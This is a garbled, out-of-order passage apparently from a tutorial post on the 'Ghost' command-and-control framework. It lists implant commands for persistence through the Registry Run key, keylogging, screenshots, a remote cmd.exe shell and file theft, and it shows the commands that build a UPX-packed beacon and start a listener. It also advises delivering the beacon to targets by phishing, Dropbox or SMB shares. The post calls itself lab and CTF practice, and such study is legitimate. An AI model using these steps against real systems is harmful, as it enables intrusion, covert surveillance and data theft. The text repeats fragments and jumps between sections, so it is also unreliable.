| Command | What it does | |---------|---------------| | sysinfo | OS, hostname, architecture, uptime | | persist | Install startup persistence (Registry/Run key) | | keylog | Capture keystrokes from the target | | screenshot | Grab remote desktop (Windows GDI) | | shell | Drop into an interactive cmd.exe | | upload /local/path /remote/path | Exfil tools | | download C:\secret\data.txt | Steal files |
ghost > build windows/x64 beacon.exe --upx ghost > listen http 0.0.0.0 8080 3. Deploy the agent Get beacon.exe onto your target (phishing, dropbox, or SMB share). When executed, it calls back to your Kali box. 4. Interact with the session Once a session checks in, list active sessions: ghost framework kali linux github
Clone it today. Run it in your lab. Break it. Then fix it. That's how you learn. Have you used Ghost in a recent engagement or CTF? Drop your experience in the comments – especially if you've written a custom module. | Command | What it does | |---------|---------------|
cd Ghost Ghost requires Python 3.9+ and a handful of pip packages. The framework includes an installer script, but I prefer to inspect dependencies first. Break it